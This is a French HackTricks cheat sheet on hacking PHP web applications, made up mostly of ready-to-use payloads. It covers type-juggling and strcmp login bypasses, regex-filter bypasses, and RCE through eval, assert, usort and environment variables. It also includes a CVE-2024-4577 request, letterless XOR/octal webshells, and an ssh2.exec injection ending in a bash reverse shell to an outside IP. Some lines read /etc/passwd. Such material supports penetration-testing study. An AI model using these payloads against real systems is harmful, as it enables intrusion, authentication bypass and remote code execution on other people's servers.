Astuces PHP
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Emplacements courants des Cookies:
Ceci est également valable pour les cookies phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Emplacements:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Contourner les comparaisons PHP
Comparaisons lâches/Type Juggling ( == )
Si == est utilisé en PHP, il existe des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela s’explique par le fait que “==” ne compare que les valeurs converties au même type ; si vous voulez aussi vérifier que le type des données comparées est le même, vous devez utiliser ===.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> TrueUne chaîne qui ne commence pas par un chiffre est égale à un nombre"0xAAAA" == "43690" -> TrueLes chaînes composées de nombres en décimal ou hex peuvent être comparées à d’autres nombres/chaînes avec True comme résultat si les nombres sont identiques (les nombres dans une chaîne sont interprétés comme des nombres)"0e3264578" == 0 --> TrueUne chaîne commençant par “0e” et suivie de n’importe quoi sera égale à 0"0X3264578" == 0X --> TrueUne chaîne commençant par “0” suivie de n’importe quelle lettre (X peut être n’importe quelle lettre) et suivie de n’importe quoi sera égale à 0"0e12334" == "0" --> TrueCeci est très intéressant car dans certains cas vous pouvez contrôler la chaîne d’entrée de “0” et un contenu qui est hashé puis comparé à celle-ci. Donc, si vous pouvez fournir une valeur qui génère un hash commençant par “0e” et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaînes déjà hashées avec ce format ici : https://github.com/spaze/hashes"X" == 0 --> TrueToute lettre dans une chaîne est égale à l’int 0
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling affecte aussi la fonction in_array() par défaut (il faut passer true en troisième argument pour forcer une comparaison stricte):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Si cette fonction est utilisée pour toute vérification d’authentification (comme vérifier le mot de passe) et que l’utilisateur contrôle un côté de la comparaison, il peut envoyer un tableau vide au lieu d’une chaîne comme valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=) et contourner cette vérification :
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
La même erreur se produit avec strcasecmp()
Coercition de type stricte
Même si === est utilisé, il peut y avoir des erreurs qui rendent la comparaison vulnérable à la coercition de type. Par exemple, si la comparaison convertit les données en un type d’objet différent avant de comparer :
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*)
preg_match() peut être utilisé pour validate user input (il checks si un word/regex de la blacklist est present dans le user input et si ce n’est pas le cas, le code peut poursuivre son exécution).
New line bypass
Cependant, lors de la délimitation du début du regexp avec preg_match() il only checks the first line of the user input, donc si vous pouvez send l’input sur several lines, vous pourriez être capable de bypass cette vérification. Exemple:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Pour contourner cette vérification, vous pouvez envoyer la valeur avec des sauts de ligne encodés en URL (%0A) ou, si vous pouvez envoyer des JSON data, envoyez-les sur plusieurs lignes:
{
"cmd": "cat /etc/passwd"
}
Trouvez un exemple ici : https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(Ce bypass a apparemment été essayé sur PHP 5.2.5 et je n’ai pas réussi à le faire fonctionner sur PHP 7.3.15)
Si vous pouvez envoyer à preg_match() une entrée valide mais très large, il ne pourra pas la traiter et vous pourrez bypass la vérification. Par exemple, s’il effectue le blacklisting d’un JSON vous pourriez envoyer :
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Source : https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Astuce provenant de : https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
En bref le problème survient parce que les fonctions preg_* de PHP s’appuient sur la PCRE library. Dans PCRE, certaines expressions régulières sont évaluées en utilisant beaucoup d’appels récursifs, ce qui consomme beaucoup d’espace de pile. Il est possible de définir une limite au nombre de récursions autorisées, mais en PHP cette limite defaults to 100.000 qui est supérieure à ce que la pile peut contenir.
This Stackoverflow thread était également lié dans le post où le sujet est abordé plus en profondeur. Notre tâche était maintenant claire :
Envoyer un input qui ferait que la regex effectue plus de 100_000 récursions, provoquant un SIGSEGV, faisant que la fonction preg_match() retourne false, poussant ainsi l’application à penser que notre input n’est pas malveillant, en plaçant à la fin du payload quelque chose comme {system(<verybadcommand>)} pour obtenir SSTI –> RCE –> flag :).
En termes de regex, nous ne faisons pas réellement 100k “recursions”, mais nous comptons plutôt des “backtracking steps”, qui, comme le PHP documentation l’indique, sont par défaut à 1_000_000 (1M) dans la variable pcre.backtrack_limit.
Pour y parvenir, 'X'*500_001 produira 1 million de backtracking steps (500k vers l’avant et 500k en arrière) :
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling pour PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Si PHP redirige vers une autre page mais qu’aucune fonction die ou exit n’est appelée après le header Location, PHP continue l’exécution et ajoute les données au corps :
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Vérifier :
Plus d’astuces
- register_globals: In PHP < 4.1.1.1 or if misconfigured, register_globals may be active (or their behavior is being mimicked). This implies that in global variables like $_GET if they have a value e.g. $_GET[“param”]=“1234”, you can access it via $param. Therefore, by sending HTTP parameters you can overwrite variables that are used within the code.
- The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
De cette façon, si les deux paths accèdent à une variable portant le même nom vous pouvez faire en sorte que la valeur de cette variable dans path1 s’applique à path2. Et alors path2 acceptera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2). - When you have the usernames of the users of the machine. Check the address: /~<USERNAME> to see if the php directories are activated.
- If a php config has
register_argc_argv = Onthen query params separated by spaces are used to populate the array of argumentsarray_keys($_SERVER['argv'])like if they were arguments from the CLI. This is interesting because if that setting is off, the value of the args array will beNullwhen called from the web as the ars arry won’t be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison likeif (empty($_SERVER['argv'])) {an attacker could send parameters in the GET request like?--configPath=/lalalaand it will think it’s running as CLI and potential parse and use those arguments. More info in the original writeup. - LFI and RCE using php wrappers
password_hash/password_verify
These functions are typically used in PHP to generate hashes from passwords and to check if a password is correct compared with a hash.
Les algorithmes supportés sont : PASSWORD_DEFAULT et PASSWORD_BCRYPT (commence par $2y$). Notez que PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limite de taille en entrée de 72bytes. Par conséquent, lorsque vous essayez de hasher quelque chose de plus grand que 72bytes avec cet algorithme, seuls les 72 premiers octets seront utilisés :
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Contournement des en-têtes HTTP en abusant des erreurs PHP
Provoquer une erreur après avoir défini les en-têtes
From this twitter thread vous pouvez voir qu’en envoyant plus de 1000 GET params ou 1000 POST params ou 20 files, PHOP ne va pas définir les en-têtes dans la réponse.
Permettant, par exemple, de contourner les en-têtes CSP définis dans des codes comme :
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Remplir un body avant de définir les headers
Si une page PHP affiche des erreurs et echoe en retour une entrée fournie par l’utilisateur, l’utilisateur peut faire en sorte que le serveur PHP renvoie du contenu suffisamment long pour que, lorsqu’il tente d’ajouter les headers dans la réponse, le serveur génère une erreur.
Dans le scénario suivant, l’attaquant a fait en sorte que le serveur génère de grosses erreurs, et comme vous pouvez le voir sur l’écran, quand php a tenté de modifier les informations d’en-tête, il n’a pas pu (par exemple le CSP header n’a pas été envoyé à l’utilisateur) :
.png)
SSRF in PHP functions
Consultez la page :
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
suffit pour exécuter des commandes shell via SSH sur localhost :
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- La partie credential peut réutiliser n’importe quel leaked system password (p.ex., depuis des cracked bcrypt hashes).
- Le
#final met en commentaire le suffixe côté serveur (files/<id>.zip), donc seule votre commande s’exécute. - Blind RCE est confirmée en surveillant l’egress avec
tcpdump -ni tun0 icmpou en servant un HTTP canary.
Remplacez la commande par un reverse shell payload une fois validée:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Parce que tout se passe à l’intérieur du worker PHP, la connexion TCP provient de la cible et hérite des privilèges du compte injecté (yuri, eric, etc.).
Exécution de code
system(“ls”);ls;
shell_exec(“ls”);
Voir ceci pour d’autres fonctions PHP utiles
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Pour exécuter le code dans l’argument “replace” il faut au moins une correspondance.
Cette option de preg_replace a été dépréciée depuis PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Cette fonction dans php permet d’exécuter du code écrit dans une chaîne afin de retourner true ou false (et selon cela modifier l’exécution). Habituellement la variable utilisateur sera insérée au milieu d’une chaîne. Par exemple:assert("strpos($_GET['page']),'..') === false") –> Dans ce cas, pour obtenir RCE vous pourriez faire:
?page=a','NeVeR') === false and system('ls') and strpos('a
Vous devrez casser la syntaxe du code, ajouter votre payload, puis la corriger. Vous pouvez utiliser des opérations logiques telles que “and” or “%26%26” or “|”. Notez que “or”, “||” ne fonctionnent pas car si la première condition est vraie notre payload ne sera pas exécuté. De la même façon “;” ne fonctionne pas car notre payload ne sera pas exécuté.
Other option est d’ajouter à la chaîne l’exécution de la commande: '.highlight_file('.passwd').'
Other option (si vous avez le code interne) est de modifier une variable pour altérer l’exécution: $file = "hola"
RCE via usort()
Cette fonction est utilisée pour trier un tableau d’éléments en utilisant une fonction spécifique.
Pour abuser de cette fonction:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
You can also use // to comment the rest of the code.
Pour découvrir le nombre de parenthèses que vous devez fermer :
?order=id;}//: on obtient un message d’erreur (Parse error: syntax error, unexpected ';'). Il manque probablement une ou plusieurs accolades.?order=id);}//: on obtient un warning. Cela semble correct.?order=id));}//: on obtient un message d’erreur (Parse error: syntax error, unexpected ')' i). Il y a probablement trop d’accolades fermantes.
RCE via .httaccess
Si vous pouvez upload un .htaccess, alors vous pouvez configure plusieurs choses et même exécuter du code (en configurant que les fichiers avec l’extension .htaccess peuvent être executed).
Different .htaccess shells can be found here
RCE via Env Variables
Si vous trouvez une vulnérabilité qui vous permet de modify env variables in PHP (et une autre pour upload des fichiers, bien qu’avec plus de recherche cela puisse peut‑être être contourné), vous pourriez abuser de ce comportement pour obtenir RCE.
LD_PRELOAD: Cette variable d’environnement permet de charger des bibliothèques arbitraires lors de l’exécution d’autres binaires (bien que dans ce cas cela puisse ne pas fonctionner).PHPRC: Indique à PHP où localiser son fichier de configuration, généralement appeléphp.ini. Si vous pouvez uploader votre propre fichier de configuration, utilisezPHPRCpour pointer PHP dessus. Ajoutez une entréeauto_prepend_filespécifiant un second fichier uploadé. Ce second fichier contient du code PHP normal, qui est alors exécuté par le runtime PHP avant tout autre code.
- Upload a PHP file containing our shellcode
- Upload a second file, containing an
auto_prepend_filedirective instructing the PHP preprocessor to execute the file we uploaded in step 1 - Set the
PHPRCvariable to the file we uploaded in step 2.
- Get more info on how to execute this chain from the original report.
- PHPRC - another option
- If you cannot upload files, you could use in FreeBSD the “file”
/dev/fd/0which contains thestdin, being the body of the request sent to thestdin: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- Or to get RCE, enable
allow_url_includeand prepend a file with base64 PHP code: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- Technique from this report.
XAMPP CGI RCE - CVE-2024-4577
Le serveur web parse les requêtes HTTP et les transmet à un script PHP en exécutant une requête telle que http://host/cgi.php?foo=bar sous la forme php.exe cgi.php foo=bar, ce qui permet une injection de paramètres. Cela permettrait d’injecter les paramètres suivants pour charger le code PHP depuis le corps :
-d allow_url_include=1 -d auto_prepend_file=php://input
De plus, il est possible d’injecter le paramètre “-” en utilisant le caractère 0xAD en raison de la normalisation ultérieure de PHP. Consultez l’exemple d’exploit dans this post:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post il est possible de trouver d’excellentes idées pour générer un brain fuck PHP code lorsque très peu de caractères sont autorisés.
De plus, une manière intéressante d’exécuter des fonctions est proposée, ce qui leur a permis de bypass plusieurs vérifications :
(1)->{system($_GET[chr(97)])}
Analyse statique PHP
Vérifiez si vous pouvez insérer du code dans les appels à ces fonctions (depuis here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Si vous déboguez une application PHP vous pouvez activer globalement l’affichage des erreurs dans /etc/php5/apache2/php.ini en ajoutant display_errors = On et redémarrer Apache : sudo systemctl restart apache2
Déobfuscation du code PHP
Vous pouvez utiliser le web www.unphp.net pour déobfusquer du code PHP.
PHP Wrappers & Protocols
Les PHP Wrappers et protocols peuvent vous permettre de bypass write and read protections dans un système et de le compromettre. Pour more information check this page.
Xdebug unauthenticated RCE
Si vous voyez que Xdebug est enabled dans une sortie de phpconfig() vous devriez tenter d’obtenir une RCE via https://github.com/nqxcode/xdebug-exploit
Variable variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE en abusant de new $_GET[“a”]($_GET[“b”])
Si sur une page vous pouvez create a new object of an arbitrary class vous pourriez obtenir RCE, consultez la page suivante pour apprendre comment :
Php Rce Abusing Object Creation New Usd Get A Usd Get B
Exécuter PHP sans lettres
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
En utilisant l’octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
Selon this writeup, il est possible de générer un shellcode simple de cette façon :
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Donc, si vous pouvez exécuter du PHP arbitraire sans chiffres ni lettres, vous pouvez envoyer une requête comme la suivante en abusant de ce payload pour exécuter du PHP arbitraire :
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Pour une explication plus approfondie, consultez https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (dans eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
À la Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

